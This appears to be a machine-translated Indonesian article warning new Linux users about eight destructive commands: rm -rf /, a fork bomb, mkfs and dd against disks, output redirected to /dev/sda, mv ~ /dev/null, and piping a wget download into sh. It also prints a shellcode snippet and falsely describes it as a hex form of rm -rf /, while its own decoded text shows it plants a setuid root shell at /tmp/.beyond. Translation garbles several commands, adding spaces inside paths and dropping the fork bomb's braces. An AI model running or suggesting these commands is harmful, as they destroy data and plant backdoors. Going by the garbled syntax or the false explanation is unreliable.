8 Perintah Mematikan Anda Jangan Pernah Jalankan di Linux
Perintah terminal Linux sangat kuat, dan Linux tidak akan meminta konfirmasi jika Anda menjalankan perintah yang akan merusak sistem Anda. Tidak jarang melihat troll online merekomendasikan pengguna Linux baru menjalankan perintah ini sebagai lelucon.
Mempelajari perintah yang tidak boleh Anda jalankan dapat membantu melindungi Anda dari troll sambil meningkatkan pemahaman Anda tentang cara kerja Linux. Ini bukan panduan lengkap, dan perintah di sini dapat di-remix dengan berbagai cara.
Perhatikan bahwa banyak dari perintah ini hanya akan berbahaya jika diawali sebelumnya sudo di Ubuntu - mereka tidak akan bekerja sebaliknya. Pada distribusi Linux lainnya, sebagian besar perintah harus dijalankan sebagai root.
Kredit Gambar: Skull and Crossbones remix dari Jason Ford di Twitter
rm -rf / - Menghapus Semuanya!
Perintah rm -rf / menghapus semua yang mungkin bisa, termasuk file di hard drive Anda dan file di perangkat media yang terhubung yang dapat dilepas. Perintah ini lebih bisa dimengerti jika dipecah:
rm - Hapus file-file berikut.
-rf - Jalankan rm secara rekursif (hapus semua file dan folder di dalam folder yang ditentukan) dan hapus paksa semua file tanpa diminta.
/ - Memberitahu saya untuk memulai di direktori root, yang berisi semua file di komputer Anda dan semua perangkat media yang dipasang, termasuk berbagi file jarak jauh dan drive yang dapat dilepas.
Linux dengan senang hati akan mematuhi perintah ini dan menghapus semuanya tanpa diminta, jadi berhati-hatilah saat menggunakannya! Perintah rm juga dapat digunakan dengan cara berbahaya lainnya - rm -rf ~ akan menghapus semua file di folder rumah Anda, sementara rm -rf. * akan menghapus semua file konfigurasi Anda.
Pelajaran: Waspadalah rm -rf.
Rm -rf yang disamarkan /
Berikut cuplikan kode lain yang ada di seluruh web:
char esp [] __attribute__ ((bagian (“teks.”))) / * e.s.p
lepaskan * /
= "\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68"
"\ Xff \ xff \ xff \ xff \ x68 \ xdf \ xd0 \ xdf \ xd9 \ x68 \ x8d \ x99"
"\ Xdf \ x81 \ x68 \ x8d \ x92 \ xdf \ xd2 \ x54 \ x5e \ xf7 \ x16 \ xf7"
“\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ xc4 \ x74 \ x56”
"\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ xb0 \ x0b \ xcd \ x80 \ x31"
"\ Xc0 \ x40 \ xeb \ xf9 \ xe8 \ xbd \ xff \ xff \ xff \ x2f \ x62 \ x69"
“\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00”
“Cp -p / bin / sh /tmp/.beyond; chmod 4755
/tmp/.beyond; ";
Ini adalah versi hex dari rm -rf / - mengeksekusi perintah ini akan menghapus file Anda seperti jika Anda menjalankan rm -rf /.
Pelajaran: Jangan menjalankan perintah yang tampak aneh dan tersamar yang tidak Anda mengerti.
: () : |: & ;: - Fork Bomb
Baris berikut adalah fungsi bash yang tampak sederhana, namun berbahaya:
: () : |: & ;:
Baris pendek ini mendefinisikan fungsi shell yang membuat salinan baru dari dirinya sendiri. Proses ini terus menerus mereplikasi dirinya sendiri, dan salinannya terus menerus mereplikasi dirinya sendiri, dengan cepat mengambil semua waktu dan memori CPU Anda. Ini dapat menyebabkan komputer Anda membeku. Ini pada dasarnya serangan penolakan layanan.
Pelajaran: Fungsi Bash sangat kuat, bahkan sangat pendek.
Kredit Gambar: Dake di Wikimedia Commons
mkfs.ext4 / dev / sda1 - Memformat Hard Drive
Itu mkfs.ext4 / dev / sda1 perintahnya mudah dimengerti:
mkfs.ext4 - Buat sistem file ext4 baru pada perangkat berikut.
/ dev / hda1 - Menentukan partisi pertama pada hard drive pertama, yang mungkin sedang digunakan.
Secara bersamaan, perintah ini dapat setara dengan menjalankan format c: pada Windows - ini akan menghapus file pada partisi pertama Anda dan menggantinya dengan sistem file baru.
Perintah ini bisa datang dalam bentuk lain juga - mkfs.ext3 / dev / sdb2 akan memformat partisi kedua pada hard drive kedua dengan sistem file ext3.
Pelajaran: Waspadalah menjalankan perintah langsung pada perangkat hard disk yang dimulai dengan / dev / sd.
command> / dev / sda - Menulis Langsung ke Hard Drive
Itu perintah> / dev / sda line bekerja dengan cara yang sama - ia menjalankan perintah dan mengirimkan output dari perintah itu langsung ke hard drive pertama Anda, menulis data langsung ke hard disk drive dan merusak sistem file Anda.
perintah - Jalankan perintah (bisa berupa perintah apa saja.)
> - Kirim output dari perintah ke lokasi berikut.
/ dev / sda - Tulis output perintah langsung ke perangkat hard disk.
Pelajaran: Seperti di atas, waspadalah menjalankan perintah yang melibatkan perangkat hard disk yang dimulai dengan / dev / sd.
dd if = / dev / random of = / dev / sda - Menulis Junk Onto a Hard Drive
Itu dd if = / dev / random = / dev / sda line juga akan menghapus data pada salah satu hard drive Anda.
DD - Lakukan penyalinan tingkat rendah dari satu lokasi ke lokasi lain.
jika = / dev / acak - Gunakan / dev / acak (data acak) sebagai input - Anda juga dapat melihat lokasi seperti / dev / nol (nol).
dari = / dev / sda - Keluaran ke hard disk pertama, menggantikan sistem file dengan data sampah acak.
Pelajaran: menyalin data dari satu lokasi ke lokasi lain, yang bisa berbahaya jika Anda menyalin langsung ke perangkat.
Kredit Gambar: Matt Rudge on Flickr
mv ~ / dev / null - Memindahkan Direktori Beranda Anda ke Lubang Hitam
/ dev / null adalah lokasi khusus lain - memindahkan sesuatu ke / dev / null adalah hal yang sama dengan menghancurkannya. Pikirkan / dev / null sebagai lubang hitam. Intinya, mv ~ / dev / null mengirim semua file pribadi Anda ke dalam lubang hitam.
mv - Pindahkan file atau direktori berikut ke lokasi lain.
~ - Merupakan seluruh folder rumah Anda.
/ dev / null - Pindahkan folder beranda Anda ke / dev / null, hancurkan semua file Anda dan hapus salinan aslinya.
Pelajaran: Karakter ~ mewakili folder home Anda dan memindahkan barang ke / dev / null menghancurkannya.
wget http://example.com/something -O - | sh - Unduhan dan Menjalankan Skrip
Baris di atas mengunduh skrip dari web dan mengirimkannya ke sh, yang mengeksekusi isi skrip. Ini bisa berbahaya jika Anda tidak yakin skrip itu atau apakah Anda tidak mempercayai sumbernya - jangan jalankan skrip yang tidak dipercaya.
wget - Unduh file. (Anda juga dapat melihat keriting sebagai ganti wget.)
http://example.com/something - Unduh file dari lokasi ini.
| - Pipa (kirim) output dari perintah wget (file yang Anda unduh) langsung ke perintah lain.
SH - Kirim file ke perintah sh, yang mengeksekusinya jika itu adalah skrip bash.
Pelajaran: Jangan mengunduh dan menjalankan skrip yang tidak tepercaya dari web, bahkan dengan perintah.
Tahu ada perintah berbahaya lain yang tidak boleh dijalankan oleh pengguna baru (dan berpengalaman) Linux? Tinggalkan komentar dan bagikan!